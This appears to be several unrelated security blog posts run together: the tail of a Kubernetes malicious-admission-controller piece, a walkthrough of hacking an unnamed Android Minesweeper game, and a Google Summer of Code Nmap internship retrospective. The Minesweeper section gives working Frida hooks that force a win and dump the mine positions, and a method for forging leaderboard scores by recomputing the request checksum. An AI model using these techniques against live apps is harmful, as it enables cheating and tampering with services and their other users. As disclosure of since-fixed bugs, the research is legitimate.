If an attacker is able to create a mutating webhook admission controller, they will have access to perform privileged operations and it can be disastrous. Admission controllers are highly effective to perform validations on the resources getting created, harden the deployments, etc. A simple RBAC with the least privileges could have prevented this massive attack.

References

• Code: Malicious admission controller
• Kubernetes Docs

Recently, we came across an Android game of Minesweeper. The game has been nicely developed and was fun to play. Although it was very tough to win the game and even tougher to be in top ranks on the leaderboard. That’s when it struck us, why not “play” with the game some other way and figure out ways to hack minesweeper. . So we started analyzing the game.

What is Minesweeper game

Minesweeper has a very basic gameplay style. In its original form, mines are scattered throughout a board. This board is divided into cells, which have three states: uncovered, covered and flagged. A covered cell is blank and clickable, while an uncovered cell is exposed, either containing a number (the mines adjacent to it), or a mine. When a cell is uncovered by a player click, and if it bears a mine, the game ends. A flagged cell is similar to a covered one, in the way that mines are not triggered when a cell is flagged, and it is impossible to lose through the action of flagging a cell. However, flagging a cell implies that a player thinks there is a mine underneath, which causes the game to deduct an available mine from the display.

In order to win the game, players must logically deduce where mines exist through the use of the numbers given by uncovered cells. To win, all non-mine cells must be uncovered and all mine cells must be flagged. At this stage, the timer is stopped.

When a player left-clicks on a cell, the game will uncover it. If there are no mines adjacent to that particular cell, the mine will display a blank tile or a “0”, and all adjacent cells will automatically be uncovered. Right-clicking on a cell will flag it, causing a flag to appear on it. Note that flagged cells are still covered, and a player can click on it to uncover it, like a normal covered cell.

Source: Wikipedia

Minesweeper Hacked: Introduction

Initially, our goal was to win the game irrespective of the time required. During the analysis we found that it was possible to reverse engineer the application and change values of some of the functions and win the game. We were able to achieve this task using two different methods.

Our next goal was to top the global leaderboards of all the difficulty levels, i.e. Beginner, Easy, Intermediate and Expert. In order to do that, we started analysing the application dynamically and checked the network traffic between the application and the server it was communicating with. We analysed source code of the apk even further and tampered the request accordingly to top the global rankings for every difficulty level.

Note: The name of the game has been redacted on purpose. The game has 1M+ downloads on play store.

How we did it

Find the package name of installed application and decompiling it

There are multiple ways to achieve this, whether with ADB or from playstore URL https://play.google.com/store/apps/details?id=<app package name>

1. To extract the APK from the device, we used the adb tool.

   Connect the device to the computer and make sure debugging is enabled. Start adb server and pull the apk using the following command.

    adb pull $(adb shell pm path <app package name> | cut -d':' -f2)
    mv base.apk game.apk
   

2. To decompile the application, we will use apkx tool.

   apkx is a Python wrapper to popular free dex converters and Java decompilers. Extracts Java source code directly from the APK. Useful for experimenting with different converters/decompilers without having to worry about classpath settings and command line args.

    apkx game.apk
   

Reference: Download apkx here

Different methods we hacked the application

• METHOD 1: Hook the application at run-time and toggle return value of GameActivity.finishgame function.
• METHOD 2: Hook the application at run-time and print game board from game.GameBoard function.
• METHOD 3: Hack the application by just sending a success message to server by tampering time required and the checksum.

Observation is the key to hack these kind of applications

TOOLS USED

Method 1 & 2: Frida

Method 3: BurpSuite or Curl (command line utility on Linux OS)

METHOD 1

Observe what actions are performed when you click on a bomb. The following observations are helpful

1. Game ends
2. Timer is stopped

We look for functions that trigger these operations.

finishgame function expects a boolean argument. Print the boolean argument to see what is passed into the function.

setTimeout(function() {
    Java.perform(function() {

        var GameActivity = Java.use("<app package name>.GameActivity");

        GameActivity.finishgame.implementation = function(bl2) {
            console.log(">>>>> Hacking minesweeper game: finsihgame return value = ", bl2);
            this.finishgame(bl2);
        }
    })
}, 10);

The below commands spawns a new process

frida -f <app package name> -U -l hook.js --no-pause

Now, observe what happens when a mine is clicked. A false value is passed to finishgame function.

Maybe that’s how it knows, we lost the game. Instead we will try to toggle the value of bl2 passed to the finishgame function.

setTimeout(function() {
    Java.perform(function() {

        var GameActivity = Java.use("<app package name>.GameActivity");

        GameActivity.finishgame.implementation = function(bl2) {
            console.log(">>>>> Hacking minesweeper game: finish game value = ", bl2);
            this.finishgame(true);
        }
    })
}, 10);

Execute the following command to start the application and hook Frida script

frida -f <app package name> -U -l hook.js --no-pause

We can see that we won the game when we click on the bomb, instead of losing the game.

METHOD 2

In the first method, we hooked the function that sends the message to finish game.

Now, we have to see where the bombs are located. Observe the decompiled java files to locate where the bombs are placed. We have to look for the function that places these bombs.

Open the game, start a new game and hook the above js script to existing process.

var game_board_instance;
console.log(">>>>>>>>> Init frida script");

setTimeout(function() {
    Java.perform(function() {

        console.log(">>>>>>>>> Init Java perform module");

        Java.choose("<app package name>.states.game.GameBoard", {
            "onMatch": function(instance) {
                game_board_instance = instance;
                console.log("Captured game board instance");
            },
            "onComplete": function() {}
        });

        console.log("Height: ", game_board_instance.height.value);
        console.log("Width: ", game_board_instance.width.value);

        console.log("Extracting the game board sequence >>>>>>");

        for(var i=0; i<game_board_instance.height.value; i++) {
            var horizontal_sequence = "";
            for(var j=0; j<game_board_instance.width.value; j++) {
                horizontal_sequence = horizontal_sequence + " " + game_board_instance.tiles.value[i][j];
            }
            console.log(horizontal_sequence);
        }

    })
}, 10);

Run the following command to execute app and hook our Frida script

frida -U <app package name> -l hook.js --no-pause

We can see that the entire board is printed along with the pints. The value 9 is the bomb!

METHOD 3

After we finish the game, there the application provides us with a global rank. These requests to the server can be intercepted with a proxy tool like BurpSuite.

Reference: https://portswigger.net/support/configuring-an-android-device-to-work-with-burp

Note: The application had implemented SSL Pinning, which we were able to bypass using Objection. Since this is a blog showing how we hacked the app, we decided not to show how to bypass SSL pinning using Objection or Frida. We will write a new blog with step by step instructions on how to use Frida and Objection.

Upon intercpeting the request we realised, simpleDbTime parameter contains the time we took to finsih the game. If we can intercept this request and send a fake simpleDbTime to the server, we win. But its not easy. When we did that the result isn’t persistent, our scores weren’t reflected in global scoreboard. We realised there is a checksum that validates the request.

We analyzed the code more and found the code corresponding to checksum.

We can see the implementation of the checksum algorithm. Parameters like itemName, deviceId and simpleDbTime have been used with dot separated to calculate the md5sum of the request.

We computed the value of checksum locally that corresponds to our new simpleDbTime value by using the same logic as performed in application code above.

Let’s get MD5 checksum of the required parameters

We will now send request using Burp with tampered parameter values.

Send another request to check the leaderboard scores. We will see that we are ranked 1st on the leaderboard

Upon submitting this request, we can see that our data was successfully registered in the database and we can see it in the global highscores list as well.

RESULT

Expert level challenge solved in 0.01 seconds without even playing the game!

These bugs are fixed in the latest version of the application.

RESEARCHERS

• Rewanth Tammana
• Hrushikesh Kakade

TIMELILNE

Before we go any further, I thank each and every one who helped me in my way to achieving this. But for this document, I would like to limit them to my mentors Daniel Miller and Fyodor from Nmap for choosing me over several other applicants from all over the globe and for guiding me through the whole process, providing me invaluable resources at times of need and for being so supportive throughout my internship.

This article is divided into the following sub-sections.

1. Hitting it off with Nmap.

2. Application period coding.

3. Official coding starts.

4. My GSOC codebase.(Open this to directly access my contributions list)

5. Things I learned through GSOC.

Hitting it off with Nmap

It was in March 2017, I was told by one of my seniors about Google Summer of Code. I’m a penetration tester and security enthusiast (Web application security). So, without any delay, I started to see the list of organizations that work on security. There were only a total of 6 organizations and 5 of them caught my interest. They were Metasploit, Nmap, Tor, Honeypot, and Radare2. I thought of applying for at least 3 of them and started to do my research on each of them. After a day or two, my inner soul started saying, “You were using Nmap for the past 2 years, and it's now the time for you to show tribute to Nmap.” Without any second thought, I made up my mind to contribute to Nmap leaving all the other options behind.

Application period coding

I realized that I’m far away from my peers in terms of knowledge of the Nmap codebase and other things related to Nmap. Initially, I was a bit worried when I went over to the IRC channel(#Nmap) and found that many of them started their GSOC preparation in Dec’16 and I just started 10–15 days before the deadline. Nmap has its Scripting Engine known as NSE(Nmap Scripting Engine) for writing the scripts which are written in LUA. I never heard of this language before and on top of that I was left with very few days, still, I didn’t lose hope and since I’m a quick learner I was able to learn the language faster than anyone can. But just going through a pair of tutorial websites quickly doesn’t mean you are good with the language. So, to convince myself that I’m good at LUA, I developed a small project in LUA within a day. My LUA project automatically converts your Mozilla browser into a hacker tool kit by installing all the required add-ons.

Once I was familiar with LUA, I started to read the Nmap codebase. Nmap isn’t a single tool by itself. It has several other tools like Ncat, Nping, Ndiff, and Zenmap. One can contribute to any of these 5 tools through GSOC.

The Nmap developers on the IRC channel were very helpful. Once I found myself comfortable with the codebase I checked the issues page and picked an issue that matched my interest and I made my first PR. Later on, I felt that going only through the Github Issue Tracker will not help me to write great scripts. Since I’m familiar with Nmap usage, I knew the pros and cons of the available scripts. While I was doing my pentest during my internship, I needed a few scripts and those were missing in Nmap. I felt like implementing them would help other hackers during their pentests. This way I started to contribute to Nmap.

A few of my PRs were merged with Nmap very quickly. Yayyy…. felt very happy from the inside since I made Nmap better. This incident increased my respect towards Open Source and Nmap.

I started being active on the IRC channels and started making PRs on Github. I submitted my GSOC application two minutes before the deadline. Ufff….. felt like I was just re-born because Google doesn’t extend the deadline at any cost.

The results were compiled in a month, in the meanwhile I got myself familiar with Nmap completely and started contributing. In that one month, I got invaluable help from the Open Source community and Nmap developers which improved my coding abilities and familiarity with the Nmap codebase.

To be frank, I forgot that I applied for GSOC and I was immersed in contributing to Nmap I felt proud from the inside since I was able to help other hackers by improving Nmap source code. I was submerged in contributing to Nmap, I got a call from my senior at around 23:00 on May 4 saying I got selected into Nmap. Hurrah…..!! I was on cloud9 since I got the chance to work with Nmap through Google.

Official coding starts

Me above, screwed up with decoding SMB responses (Binary data).

I got myself active on GSOC’17 Whatsapp groups, Facebook groups, Telegram channels, Slack channels, IRCs, and so on. I got a chance to meet the best talent from all over the world. I now have connections all over the globe.

I got some resources from my mentor which I had to go through before I started actual coding. Since I was anxious, without asking my mentor’s permission I took the chance to work on the ideas I submitted in my GSOC proposal which I later on found was one of the biggest mistakes I had done. Read the next two sections to know why.

$ autocomplete feature for Nmap

Previously, all the developers have to type the commands completely to run their scripts. There are hundreds of scripts and each script has tens of arguments that no one can ever master. So, what happened was every hacker had to check the script file or documentation for using Nmap. I felt like it would be cool if we can provide a feature that can autocomplete the args upon double-tapping [TAB]. I noticed that my mentor has a private repo that provides this functionality but it fails to autocomplete the inner arguments that a script expects the user to provide. So, I thought adding that feature would be cool and I started coding it right away without his permission.

I made a PR #4 which closed issue #1 as well in the private repo.

$ colored output for Nmap

Screenshots of colored output for easy debugging purposes.

There are several options in Nmap for debugging purposes. But these debugging messages can’t be easily identified by an n00b. So, enabling this feature will increase user readability by making it easier to examine the detailed output along with debugging info.

I was very happy thinking that both the above PRs will be merged with the Nmap master branch. But sadly, both of them were turned down by my mentor, saying that this autocomplete feature and colored output will work great on Linux(bash) only and might fail on other shells like zsh, ksh, and so on. Most importantly both the above-mentioned features will not work on Windows due to lack of support. I felt very bad that I should have discussed implementing these ideas with my mentor beforehand. So, these PRs were rejected from being merged into the master branch but can be maintained in a private repo which I’m planning to release soon.

Until now I was trying to make enhancements that would help an n00b hacker but then I felt like making something useful for everyone.

$ refactoring http-enum script

The http-enum script is structured in a very old fashion. I had discussions with my mentor for more than 2 weeks regarding the changes to be made. I created a report which explains the shortcomings, new features, and improvements that can be made to optimize the script.

Report is available on Google docs,

https://goo.gl/ubkV2E

Since we were hit with some other important tasks to complete and issues on the tracker were increasing rapidly, we thought of continuing this enhancement later on.

$ added missing ip protocols to netutil.cc

Some important IP protocols were missing from the list in netutil.cc which is being widely used. I added the important, missing protocols to the existing file. Nmap already has a mapping of protocol numbers to names, based on IANA’s assignment registry, namely the_nmap-protocols_file.

Merged proto2ascii_case and nexthdrtoa functions which return protocol name. Removed proto2ascii_lowercase function by writing a modular code for one of the existing functions.

I wrote a shell script to generate the code from the nmap-protocols file. This will be more efficient than reading and parsing the file at run time and will also make libnetutil not dependent on an external file at run time. This is important for things like Ncat and Nping that are not usually packaged with the nmap-protocols file.

$ fixed issues related to cve-2014–3704 nse script

There was issue #902 related to the malfunctioning of the cve2014–3704 script. That was a very typical issue. When this script was executed against a vulnerable server, a false output was generated. I tried exploiting the vulnerable server using Metasploit, and it was successful but when I tried to exploit it using the Nmap script there was a failure. I compared the code of Metasploit and Nmap scripts and both looked the same.

I thought there might be an issue with the way the packets were sent by the POST request in Nmap. I started to intercept the packets of both Metasploit and Nmap separately while exploiting the server using Wireshark. I observed that Nmap packets were crafted in a different format compared to Metasploit. I tried very hard for one complete week trying to figure out why the post data sent by both tools are different. After a week, I got a hacker on the Metasploit IRC channel to answer my question and I resolved the issue by sending the request.

Later on, I found that Drupal is having two login pages and only one of them is vulnerable both the URLs are different by just a single character and I felt bad that I should have observed that in the first place. I changed the endpoints of the target server in Nmap and everything was in place.

$ enhancement made to cve-2014–3704 nse script

After we attack the server, we have to check for traces of compromised instances but this is not properly done by the existing Nmap script. I don’t say it's entirely wrong but it just doesn’t work in all cases. For example, if the vulnerable website is present in Spanish or French then the existing script cannot return the correct output regarding the vulnerability. I added new conditions which check for multiple traces of compromise and then confirm the vulnerability.

$ wrote script for OpenWebNet protocol discovery

OpenWebNet Protocol is a communications protocol developed by Bticino since 2000. This protocol is mainly used for Home Automation purposes. This protocol is widely used yet good documentation is scarce for its usage. Only 2 websites are existing, which helped me in writing this script.

This new script can get information like IP Address, Net Mask, MAC address, Device Type, Firmware Version, Server Uptime, Date and Time, Kernel Version, and Distribution Version from the target. Apart from that, it can retrieve the number of automated devices, number of lights, number of burglar alarms, number of heating devices, and so on.

So, it will be a very useful script during the enumeration of home automated appliances as it is capable of fetching so many details from the target.

$ removed redundant parsing functions by making enhancements

Previously two functions from two different libraries were used for parsing the websites. Each of the functions had some extra functionality wrt others but shared code to some extent. I combined them into one function. This particular commit is a good cleanup of redundant code.

$ developed punycode and idna libraries for nmap

The existing Nmap crawler can send requests to domain names only in English.

If you try to crawl websites like “http://點看.com”_or “_http://योगा.भारत” you get an error saying the URL cannot be decoded.

I created Punycode and IDNA libraries with functions that let you encode and decode this kind of stuff. For example,

“http://點看.com” gets decoded into “http://xn — c1yn36f.com”.

“http://योगा.भारत” gets decodes into“http://xn--31b1c3b9b.xn--h2brj9c”.

Crawlers can now crawl the website by using the decoded URLs.

Developing these libraries had been a very challenging part. I never had the habit of reading technical papers from the first line to the bottom line. I had to read the papers thoroughly to write proper functions.

Completing this task requires high dedication because I had to read papers like UTS #46, RFC 3490, RFC 3491, RFC 3492, RFC 3493, TR#46, TR #9 and then analyze the data provided in all the above technical papers and then create the respective functions.

The real part comes here, I completely coded as mentioned in the technical standards and the code doesn’t work properly as expected. All cases were successful except one or two and then comes the highest level of depression. I didn’t have the balls to find the bug in the code because I wasn’t ready to go through 1500 lines of code, I had to go through the research papers again and I had to cross-check the code with the procedure as mentioned in the papers. Finally, after so much struggle I successfully developed the libraries.

At this point, I was fatigued working only on web-related stuff and felt like needing a change of pace. I thought of working on something which has nothing to do with the web and the following are my achievements in other parts of Nmap.

$ ncat enhancement - limit data using a delimiter

Ncat is a reimplementation of the currently splintered and reasonably unmaintained Netcat family. Ncat can act as either a client or server, using TCP or UDP over IPv4 or IPv6. SSL support is provided for both the client and server modes.

Till now I was working on LUA since the start of the GSOC and for the first time, I was hit with the idea of working with something different apart from Web and LUA. This enhancement was purely implemented in the C language.

This will be a good enhancement to the existing Ncat once the PR gets merged. Functions were added to accept delimiter as a parameter through the command line for delimiting the data before sending it.

At this stage I was like, my GSOC is about to be complete and I haven’t done anything new. I was just getting better at what I already knew. I wanted to learn and contribute more. I wanted to work on something totally new to me.

I selected to work on Windows SMB-related stuff. I didn’t even know what SMB meant until this point. I requested my mentor to allow me to work on this new area. I was left with only 10 days before I started to work on SMB.

$ script to fetch smb enum services from remote windows machine

Random capture of response sent by Windows

SMB protocol is used by Windows. I had written a script that fetches the list of services running on a remote windows system along with their service status message. This has been the most challenging part of my entire GSOC stage.

I had less than 2 weeks to complete this task and I just started learning the definitions of SMB, CIFS, and so on. Once I was done with understanding the definitions, I tried to write the code. But I wasn’t familiar at all with protocols like SMB, DCERPC, SVCCTL, and so on. We can’t send a GET/POST request directly as we do on protocols like HTTP/HTTPS. It's a new game.

I found software created by windows to list the services, psservices.exe. I intercepted the packets sent by psservices.exe. I thought I could easily replicate the requests being sent based on this data.

After seeing the capture I was like WTF is going on? I understood how the requests were being sent but I didn’t know how to code them. I got some useful resources from my mentor, then I figured out a way to establish the connection. Finally, wow.. I made the connection and the response looked something like this.

Debugging output which shows a part of the request and response sent to the server

Piece of response data received from the Windows server after making a svcctl request

I was so happy when I got the response from the server and I thought its almost done.

The response is binary data and unmarshalling or decoding the binary data was a very tricky and challenging task during my whole GSOC period.

After a long struggle for two days, the binary data decoded was unmarshalled and it displayed all the services with their service name, display name, and service status respectively.

Taking up this very challenging task with a narrow deadline gave me immense pleasure of participating in GSOC and I did learn many new things related to Windows protocol and decoding binary data.

My GSOC codebase

This section contains the links to the work I have done so far through GSOC.

The below data is taken on Sep 28, 2017.

Merged commits: Total 23

Opened PRs: Total 12

https://github.com/nmap/nmap/pulls/rewanthtammana

My Closed PRs: Total 21

https://github.com/nmap/nmap/pulls?q=is%3Aclosed+is%3Apr+author%3Arewanthtammana+

• Closed others PRs: 2 (#728,#896)

• My opened issues: 2 (#741,#748)

• Closed others issues: 2 (#726,#902)

Things I learned through GSOC

• Learned the kind of background work needed to be done before starting to write the main code.

• Collaborate with highly experienced people remotely.

• Breaking the code into components at each stage. In other words, learned to write modular code effectively.

• Effectively reading technical and research papers.

• Techniques to be followed while refactoring existing code.

• Writing scalable code. Experience with openwebnet-discovery protocol script taught this point very well.

• Improved my exploitation script writing skills.

• Quickly switch the tasks over and over with ease.

• Gained knowledge of the SMB protocol and unmarshalling hexdump.

• Analyzing the transfer of packets over Wireshark to find the errors.

• Networking.

• Don’t dive into new areas directly without any prior knowledge.

Finally, a quote from_The Pragmatic Programmer_book that inspired me -

“Writing code that writes code” differentiates the best from rest and I did this throughout my internship period ;)